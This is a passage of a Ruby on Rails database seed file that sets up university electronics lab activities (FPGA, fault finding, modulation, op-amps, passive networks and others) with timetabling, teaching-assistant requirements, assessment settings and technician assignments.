same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a276.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Digital\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a276.id).first_or_create!(criteria: \"Must be experienced and familiar with Xilinx ISE environment\n Must be experienced in Verilog code and able to debug student code in-lab\n Must have experience with FPGA hardware\",\n job_desc:\"Assist students using Xilinx software and hardware\n Help students design and implement a 2 bit adder in software using Verilog code\n Troubleshoot problems in downloading firmware to an FPGA board and simulating the performance of the hardware.\n Guide students to attempt an advanced task of creating a 4 bit adder using multiplexers.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a276.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a276.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a276.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a277 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"unknowncode8\").first_or_create!(name: \"EDanger\",\n name_abrv: \"eDGR\", archived: false, in_drive: false, user_id: 3)\n at277 = ActivityTimetable.where(activity_id: a277.id).first_or_create!(duration: 120, kit_prep_time: 60, min_week_num: 1, max_week_num: 2, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 90, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a277.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"eDanger\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a277.id).first_or_create!(criteria: \"Must have an understanding of risk assessment to be able to check students' written work in the lab. Must be able to check student experimental setups and confidently intervene in student experiments if required.\",\n job_desc:\"Review risk assessments performed by the students prior to the lab and check that sensible work has been produced.\n Oversee a hazardous experiment being performed and ensure student safety by proactively intervening where necessary.\n Discuss the experiment with students to ensure they have understood the importance of risk assessment and of frequently reviewing and updating the risk assessments.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a277.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a277.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a278 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"112\").first_or_create!(name: \"Fault Finding\",\n name_abrv: \"FFIND\", archived: false, in_drive: false, user_id: 1)\n at278 = ActivityTimetable.where(activity_id: a278.id).first_or_create!(duration: 210, kit_prep_time: 360, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 30, notes: \"This must come before ICP (ideally immediately before)\",\n capacity: 24, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a278.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Fault Finding\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a278.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students find faults on a pre-populated PCB\n Remind students how to calculate the resonant frequency of RLC circuits and how to calculate bandwidth and Q factor\n Assist students with AC and DC circuit analysis using an oscilloscope and multimeter\n Demonstrate desoldering with attention to detail\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a278.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a278.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a278.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a279 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at279 = ActivityTimetable.where(activity_id: a279.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 3, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a279.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a279.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a279.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a279.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a279.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a280 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"113\").first_or_create!(name: \"Frequency Dependent Measurements\",\n name_abrv: \"WS3\", archived: false, in_drive: false, user_id: 4)\n at280 = ActivityTimetable.where(activity_id: a280.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 15, takedown_time: 20, notes: \"Must be before Passive Networks\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a280.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Black Box\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a280.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL)\n Must be confident in graph plotting and data analysis in-lab\",\n job_desc:\"Assist students constructing series circuits using boxes containing unknown components.\n Help students use signal generators and oscilloscopes to make voltage measurements across a range of frequencies and plot the data by hand.\n Assist students in interpreting their measurements to identify the components inside the boxes.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a280.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 2)\n ActivityTech.where(activity_id: a280.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a280.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a281 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"114\").first_or_create!(name: \"Individual Construction Project\",\n name_abrv: \"ICP\", archived: false, in_drive: false, user_id: 3)\n at281 = ActivityTimetable.where(activity_id: a281.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 4 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a281.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"ICP\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a281.id).first_or_create!(criteria: \"Must be capable of independently using an oscilloscope, multimeter and signal generator\n Must be familar with analogue electronics and constructing circuits on a PCB\n Must be skilled in soldering and testing circuit designs\n Must be confident troubleshooting analogue circuits constructed by students\",\n job_desc:\"Help students construct an infra-red communication transmitter by soldering a PCB\n Advise students on component choice for desired frequency response (LCR resonant frequency and passive RC filters)\n Troubleshoot problems with students' circuits by using oscilloscopes and multimeters\n Demonstrate soldering and desoldering techniques for students and assist them in correcting circuit construction faults\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a281.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a281.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a281.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a282 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 1)\n at282 = ActivityTimetable.where(activity_id: a282.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a282.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a282.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a282.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a282.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a282.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a283 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"115\").first_or_create!(name: \"Induction Machines\",\n name_abrv: \"ACMACH\", archived: false, in_drive: false, user_id: 2)\n at283 = ActivityTimetable.where(activity_id: a283.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a283.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Machines\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a283.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a283.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a283.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a283.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a284 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"116\").first_or_create!(name: \"LED\",\n name_abrv: \"LED\", archived: false, in_drive: false, user_id: 1)\n at284 = ActivityTimetable.where(activity_id: a284.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 7, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after clean room intro - micro measurement\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a284.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"LED\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a284.id).first_or_create!(criteria: \"Basic cleanroom skills.\",\n job_desc:\"Assist Year 1 EEE students to make top contact on GaN LED and then do IV and optical tests using probe station, SMU and optical spectometer.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a284.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a284.id).first_or_create!(cost_per_student: nil, equip_needed: \"8 probe stations, 10 microscope cameras, 2 metallurgical microscopes, 8 PCs with Keysight Quick IV and Motic Images Plus 3 software, 8 SMUs, 4 spectrometers, 2 power meters, 2 scalpels, 2 magnifying lamps, 1 hot plate, 8 pairs tweezers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a284.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a285 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 1)\n at285 = ActivityTimetable.where(activity_id: a285.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a285.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a285.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a285.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a285.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a285.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a286 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: true, in_drive: false, user_id: 2)\n at286 = ActivityTimetable.where(activity_id: a286.id).first_or_create!(duration: 210, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a286.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a286.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a286.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a286.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a286.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a287 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"117\").first_or_create!(name: \"Modulation\",\n name_abrv: \"MDX\", archived: false, in_drive: false, user_id: 5)\n at287 = ActivityTimetable.where(activity_id: a287.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a287.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Modulation\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a287.id).first_or_create!(criteria: \"Must be confident building circuits on a breadboard\n Must be aware of simple signal modulation (amplitude modulation including sideband suppression)\n Must be able to indpendently use an oscilloscope and signal generator\n Must be confident displaying signals in the frequency domain (oscilloscope FFT) and helping students interpret frequency responses\",\n job_desc:\"Help students to construct circuits on a breadboard, using a modulation chip (signal multiplier)\n Debug and troubleshoot student circuit construction\n Help students to interpret their measurements in both the time and frequency domains\n Discuss the differences between different modulation formats with students and describe different methods of performing modulation and demodulation\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a287.id).first_or_create!(assess_weight: 20.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a287.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a287.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a288 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 2)\n at288 = ActivityTimetable.where(activity_id: a288.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a288.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a288.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a288.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a288.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a288.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a289 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"118\").first_or_create!(name: \"Op-Amps\",\n name_abrv: \"AMPS\", archived: false, in_drive: false, user_id: 5)\n at289 = ActivityTimetable.where(activity_id: a289.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a289.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Op Amps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a289.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be confdent using oscilloscopes and signal generators to take AC signal measurements\n Must have theoretical knowledge of basic op-amp circuits\n Must be able to troubleshoot student circuit construction\",\n job_desc:\"Help students to construct basic op-amp circuits (inverting/non-inverting) on a breadboard \n Assist students in using oscilloscopes and signal generators to characterise their circuits\n Describe the fetures of op-amp frequency response (constant gain-bandwidth product etc)\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a289.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a289.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a290 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"119\").first_or_create!(name: \"Operational Amplifiers\",\n name_abrv: \"AMP2\", archived: false, in_drive: false, user_id: 5)\n at290 = ActivityTimetable.where(activity_id: a290.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must be after Amplifiers & Probes\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a290.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a290.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a290.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a290.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a290.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a291 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 3)\n at291 = ActivityTimetable.where(activity_id: a291.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 4, max_week_num: 7, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"210 minutes x 2 sessions. After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a291.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a291.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a291.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a291.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a291.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a292 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"120\").first_or_create!(name: \"Passive Network Circuits\",\n name_abrv: \"PN\", archived: false, in_drive: false, user_id: 5)\n at292 = ActivityTimetable.where(activity_id: a292.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"After Freq Dependent Measurements\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a292.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Passive Networks\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a292.id).first_or_create!(criteria: 